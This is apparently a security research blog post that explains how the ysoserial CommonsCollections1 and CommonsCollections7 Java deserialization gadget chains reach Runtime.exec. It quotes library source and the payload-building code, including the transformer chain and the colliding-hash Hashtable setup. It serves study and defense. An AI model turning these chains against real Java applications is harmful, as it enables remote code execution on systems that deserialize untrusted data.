Finding gadgets like it's 2015: part 1
Introduction
CommonCollection1
ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects.
CommonCollection1
gadget to get a deeper understanding of how a gadget works.
1) ObjectInputStream.readObject()
2) AnnotationInvocationHandler.readObject()
3) Map(Proxy).entrySet()
4) AnnotationInvocationHandler.invoke()
5) LazyMap.get()
6) ChainedTransformer.transform()
7) ConstantTransformer.transform()
8) InvokerTransformer.transform()
9) Method.invoke()
10) Class.getMethod()
11) InvokerTransformer.transform()
12) Method.invoke()
13) Runtime.getRuntime()
14) InvokerTransformer.transform()
15) Method.invoke()
16) Runtime.exec()
Runtime.exec
transient
flag).Getting code execution
get
method of the LazyMap
class which is part of the common collection library. What happens next? Here is the code of the get
method:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
If we call get
with a key parameter that is not contained in the map, we call the transform
method on the factory object. The factory object is an attribute of the LazyMap (thus we control it thanks to the deserialization) and is a Transformer
object:
/** The factory to use to construct elements */
protected final Transformer factory;
ChainedTransformer
class is used. From the documentation, a ChainedTransformer
is just a "Transformer implementation that chains the specified transformers together". Calling the transform method of a ChainedTransformer
object will call the transform
method of each transformer contained in it. Makes sense right?
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
The first transformer of the gadget chain is the ConstantTransformer
. Its transform method returns a constant which we control due to the deserialization mechanism:
public Object transform(Object input) {
return iConstant;
}
In the ysoserial exploit code we can find this:
new ConstantTransformer(Runtime.class),
So the transform
method will return Runtime.class
, do you understand where it's going?
InvokerTransformer
:
/**
* Transforms the input to result by invoking a method on the input.
[...]
*/
public Object transform(Object input) {
[...]
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
The description of the method is tells us that we can call an arbitrary method on the input. By using the ChainedTransformer
, we could iterate this by calling an arbitrary method with arbitrary parameters on the output of the transform
method of the previous transformer.
- ConstantTransformer.transform() => Runtime
- InvokerTransformer.transform() => getMethod.invoke(Runtime, "getRuntime") == Runtime.getMethod("getRuntime",null)
- InvokerTransformer.transform() => invoke.invoke(Runtime.getMethod("getRuntime",null), null) == Runtime.getMethod("getRuntime",null).invoke(null, null)
- InvokerTransformer.transform() => exec.invoke(Runtime.getMethod("getRuntime",null).invoke(null, null), args) == Runtime.getMethod("getRuntime",null).invoke(null, null).exec(args)
Calling get() on a java Map
1) ObjectInputStream.readObject()
2) AnnotationInvocationHandler.readObject()
3) Map(Proxy).entrySet()
4) AnnotationInvocationHandler.invoke()
5) LazyMap.get()
The AnnotationInvocationHandler
class is used.
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
But what is an InvocationHandler
? From the Java documentation we can read:
InvocationHandler is the interface implemented by the invocation handler of a proxy instance.
Each proxy instance has an associated invocation handler. When a method is invoked on a proxy instance, the method invocation is encoded and dispatched to the invoke method of its invocation handler.
invoke
method of the associated Invocation Handler. readObject
method of the AnnotationInvocationHandler
class:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject(); <== the object AnnotationInvocationHandler is deserialized
[...]
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { <== we call entrySet()
String name = memberValue.getKey();
By looking at the gadget chain we go from entrySet()
to AnnotationInvocationHandler.invoke()
. That seems weird because calling entrySet on a map shouldn't call the invoke method of the AnnotationInvocationHandler class. The trick here is really interesting.
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
Without showing too much code, what really happens inside the createMemoitizedProxy
function is something like this:
Map mapProxy = (Map) Proxy.newProxyInstance(
RandomValidClass.class.getClassLoader(),
new Class[] { Map.class },
new AnnotationInvocationHandler(lazyMap));
Map.entrySet()
to AnnotationInvocationHandler.invoke(mapProxy, "entrySet")
.
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
[...]
// Handle annotation member accessors
Object result = memberValues.get(member);
There is a call to the get
method on the memberValues attribute, which is a LazyMap that we control, and whose parameter is the name of the method, in our case entrySet
. This is exactly what we need to achieve arbitrary code execution, as we saw in the explanation of the last part of the gadget chain.
CommonCollection1 troubleshooting
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
public static boolean isAnnInvHUniversalMethodImpl() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
}
LinkedHashMap
, so we can't use a LazyMap
anymore! Unfortunately, most of the ysoserial gadgets don't work anymore with a recent version of the JDK.CommonCollection7 to the rescue
get
on the LazyMap which gives code execution.
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
get
reconstitutionPut
:
1) private void readObject(java.io.ObjectInputStream s)
2) throws IOException, ClassNotFoundException
3) {
4) s.defaultReadObject();
[...]
5) table = new Entry<?,?>[length];
[...]
6) for (; elements > 0; elements--) {
7) K key = (K)s.readObject();
8) V value = (V)s.readObject();
9) reconstitutionPut(table, key, value);
}
[...]
So reconstitutionPut
is called for each element of the Map
. Here is the code of this method:
a) private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
b) throws StreamCorruptedException
{
[...]
c) int hash = key.hashCode();
[...]
d) for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
e) if ((e.hash == hash) && e.key.equals(key)) {
f) throw new java.io.StreamCorruptedException();
}
}
[...]
Hashtable hashtable = new Hashtable();
hashtable.put("Key1", "val1");
hashtable.put("Key2", "val2");
During deserialization, the table
object of the readObject method will be created (line 5). This table plus the key1
key and the val1
value will be passed to reconstitutionPut
(line 9). Since the table
is empty, the value and key will be added to it (this part is not shown in the code snippet).
key2
, val2
and table
will be passed to reconstitutionPut
(line 9). This time we will go inside the for loop (line d) and the hash code of the first key (key1
) will be compared to the hash code of the one given in parameter (key2
). If they match, a call to the equals
method (line e) will be done to check for the equality of the two keys.equals
method of our first LazyMap with the second one as a parameter. Let's once again build an example Map:
[...]
lazyMap1.put("key1", 1);
lazyMap2.put("key2", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "val1");
hashtable.put(lazyMap2, "val2");
equals
like this:
lazyMap1.equals(lazyMap2)
AbstractMapDecorator
which implements the equals
method:
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}
equals
method of the map
is called. As a map is an instance of HashMap
which does not implement the equals
method, the implementation of the parent class, AbstractMap
, is called.
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
get
on it. Calling get
right? We have our code execution here by calling get
on a LazyMap:
lazyMap1.get("Key1")
String a = "yy";
String b = "zZ";
a.hashCode() == b.hashCode() // this is True
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
// Use the colliding Maps as keys in Hashtable
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
// Needed to ensure hash collision after previous manipulations
innerMap2.remove("yy");
return hashtable;
Conclusion
If you are already familiar with Java gadgets you probably have not learned much today.
In the next part, we'll dive into the new gadget chain that we found in Mojarra, we'll describe how we found it and the different problems that we had to face in order to get a valid chain.- 1. https://greyshell.github.io/blog/2019/11/22/insecure-deserialization-java/
- 2. https://gursevkalra.blogspot.com/2016/01/ysoserial-commonscollections1-exploit.html
- 3. https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
- 4. https://www.anquanke.com/post/id/190468
- 5. https://github.com/wh1t3p1g/ysoserial
- 6. https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java